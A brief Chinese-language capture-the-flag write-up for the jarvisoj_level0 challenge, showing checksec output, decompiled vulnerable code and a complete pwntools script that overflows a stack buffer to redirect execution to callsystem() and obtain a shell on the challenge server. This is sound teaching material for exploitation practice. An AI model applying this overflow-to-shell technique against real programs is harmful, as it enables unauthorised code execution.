jarvisoj_level0
checksec jarvisoj_level0
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- 拖进IDA64,找到
main()
反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
因此关键在vulnerable_function()
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
- 利用
read()
实现栈溢出,因为buf的范围在[rsp+0h] [rbp-80h],再加上rbp的8字节,所以需覆盖"a"*(0x80+8)
后到达返回地址。同时发现有个函数callsystem()
可以获得shell
- 所以payload后加上该函数的地址0x400596
- 完整代码如下
from pwn import *
p = remote('node3.buuoj.cn', 29317)
payload = 'a'*136 + p64(0x400596)
p.sendline(payload)
p.interactive()
- 运行后,
ls
cat flag
即可